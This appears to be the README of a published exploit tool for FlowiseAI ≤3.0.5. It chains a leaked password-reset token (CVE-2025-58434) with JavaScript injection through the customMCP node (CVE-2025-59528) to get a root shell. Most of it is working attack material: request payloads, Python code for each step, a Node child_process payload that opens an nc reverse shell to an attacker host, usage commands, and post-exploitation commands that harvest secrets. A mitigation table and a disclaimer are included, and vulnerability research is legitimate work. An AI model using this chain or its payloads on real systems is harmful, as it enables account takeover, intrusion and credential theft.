Critical unauthenticated kill chain leading to full RCE in FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
This exploit chains two independent critical vulnerabilities into a single fully automated attack. Neither vulnerability alone guarantees full compromise — but together, they form a complete kill chain from zero credentials to a root shell inside a Docker container.
[No credentials]
│
▼
① Abuse forgot-password endpoint (no auth required)
│ → Server responds with the victim's reset token in plaintext
▼
② Submit token to reset-password endpoint
│ → Attacker controls the admin password
▼
③ Login + retrieve Bearer API key
│ → Full authenticated session established
▼
④ Send JavaScript payload via customMCP node
│ → Server evaluates it via Function() constructor
▼
[Root shell inside Docker container]
What makes it zero-interaction: at no point does the victim receive an email, see a login alert, or trigger any visible event. The attack is entirely server-side.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5 (cloud + self-hosted)
Advisory: GHSA-wgpv-6j63-x5ph
FlowiseAI has a concept of "internal" requests — API calls made between its own services — identified by the x-request-from: internal HTTP header. The /api/v1/account/forgot-password endpoint uses this header to skip authentication entirely and return a different, more verbose response than it would for external callers.
The problem: this header is not validated or restricted in any way. Any attacker on the internet can send it. When they do, instead of triggering a password reset email, the API responds with the full user record — including a live tempToken that can be immediately used to set a new password.
Normally, a password reset flow looks like:
User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed
Here, the server skips the email step entirely and puts the token directly in the HTTP response body. The attacker catches it and moves straight to the reset step — no email access needed.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — full user record exposed{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
The tempToken is then submitted directly to the reset endpoint — no email interaction, no CAPTCHA, no rate limit.

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p
FlowiseAI allows users to define custom MCP (Model Context Protocol) nodes with server configuration supplied as a JSON string. Internally, the platform needs to parse this configuration — and it does so using JavaScript's Function() constructor, which is functionally equivalent to eval().
The configuration string reaches the sink completely unsanitized:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function() is as dangerous as eval()Function('return ' + code)() does the following:
code as its bodyThis gives the attacker a full JavaScript execution context with access to process, require, child_process, and the entire Node.js runtime — not a sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← attacker-controlled string
└─ substituteVariablesInString() ← no filtering, passes through
└─ convertToValidJSONString() ← no filtering, passes through
└─ Function('return ' + input)() ← arbitrary code executes here
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Why
mkfifoand not/dev/tcp?
The container runs/bin/sh, not/bin/bash./dev/tcpis a bash-only feature — it does not exist in standard POSIX shells.mkfifocreates a named pipe that works in any POSIX-compliant shell, making the reverse shell portable across container environments.
| Property | Details |
|---|---|
| Zero credentials required | The attacker starts with nothing but a target IP |
| Zero victim interaction | No phishing, no click, no social engineering |
| No rate limiting | The reset endpoint has no throttling — brute-forceable if needed |
| No CAPTCHA | The reset flow has no human verification |
| No email confirmation | Password change is immediate, silent, irreversible |
| Full Node.js runtime in RCE | child_process, filesystem, network — no sandbox |
| Runs as root in Docker | Container is typically launched as root, full FS access |
| Affects cloud + self-hosted | Any deployment of <= 3.0.5 is vulnerable |
The exploit is structured in four sequential steps, each mapping directly to a phase of the kill chain.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
What happens: The server believes this is an internal service-to-service call because of the x-request-from: internal header. It skips the normal email dispatch path and returns the full user record — including a live password reset token — directly in the HTTP 201 response body.
Why it works: The header check is purely string-based with no cryptographic verification. Any caller can set it. The backend does not validate the origin of the request.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
What happens: The stolen tempToken is submitted along with a new attacker-chosen password. The server validates the token (which is real and active), confirms the email matches, and updates the credential hash — no email confirmation, no secondary check.
Why it works: Token validation only checks that the token exists and hasn't expired. It does not verify that the caller who generated the token is the same as the caller submitting the reset. Ownership is never verified.
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
What happens: A normal login with the attacker's new password establishes a full admin session (cookie-based). The session is then used to fetch the platform's default API key, which is required to authenticate requests to the node-load-method endpoint used in step 4.
Why it works: At this point the attacker IS the admin — they own the credentials. The session and API key are legitimately issued by the server.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
What happens: The payload is a self-invoking JavaScript function (IIFE) disguised as a JSON-compatible object. When convertToValidJSONString() processes it, the value lands inside Function('return ' + input)() — which executes it as live JavaScript with full Node.js runtime access. child_process.exec() fires the reverse shell command, establishing a connection back to the attacker's listener.
Why the IIFE wrapper? The Function('return ' + x) pattern expects the expression to be returnable. Wrapping the malicious code in ({x: (function(){ ... })()}) makes the entire expression valid JavaScript that evaluates to an object — satisfying the parser while executing the payload as a side effect.
Why nohup + disown? The HTTP request has a timeout. Without detaching the process, the shell would die when the request times out. nohup + disown detaches the reverse shell from the Node.js process, keeping it alive independently.
# 1. Start your listener first
nc -lvnp 4444
# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
| Flag | Description | Required |
|---|---|---|
-ip | Target IP address | ✅ |
-lhost | Your IP for the reverse shell callback | ✅ |
-lport | Your listening port | ✅ |
--skipreset | Skip CVE-2025-58434 (phases 1 & 2) — use if account already compromised | ❌ |
pip install requests
Once the shell drops, the container typically runs as root with access to the full FlowiseAI application environment:
# Secrets and credentials
env # API keys, DB URIs, service credentials in environment vars
cat .env # FlowiseAI config file — database passwords, JWT secrets
# Application internals
ls /app/packages/ # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env
# Container context
cat /proc/1/cmdline # What process is PID 1 — confirms container environment
hostname # Container ID
cat /etc/hosts # Internal network map — other services reachable
# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
| Fix | Priority |
|---|---|
Upgrade to FlowiseAI ≥ 3.0.6 | 🔴 Immediate |
Block x-request-from: internal at the reverse proxy — it should never come from the internet | 🔴 Immediate |
Restrict /api/v1/account/* to authenticated sessions only | 🔴 Immediate |
Sanitize mcpServerConfig — never pass user input to Function() or eval() | 🔴 Immediate |
| Add rate limiting and CAPTCHA to all password reset endpoints | 🔴 Immediate |
| Isolate the FlowiseAI instance from the internet if public exposure is not required | 🟠 High |
| Run the container as a non-root user | 🟠 High |
| Enable anomaly detection on password reset and MCP endpoints | 🟡 Medium |
Audit all endpoints that accept x-request-from and verify they cannot be called externally | 🟡 Medium |
This repository and all associated code are published strictly for educational and authorized security research purposes.
Both vulnerabilities are publicly disclosed and patched as of FlowiseAI 3.0.6. Testing against systems you do not own or lack explicit written authorization to assess is illegal under applicable law — including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, and the EU NIS2 Directive.
The authors accept no liability for any damage resulting from misuse of this material.
0H4K3D · CVE Team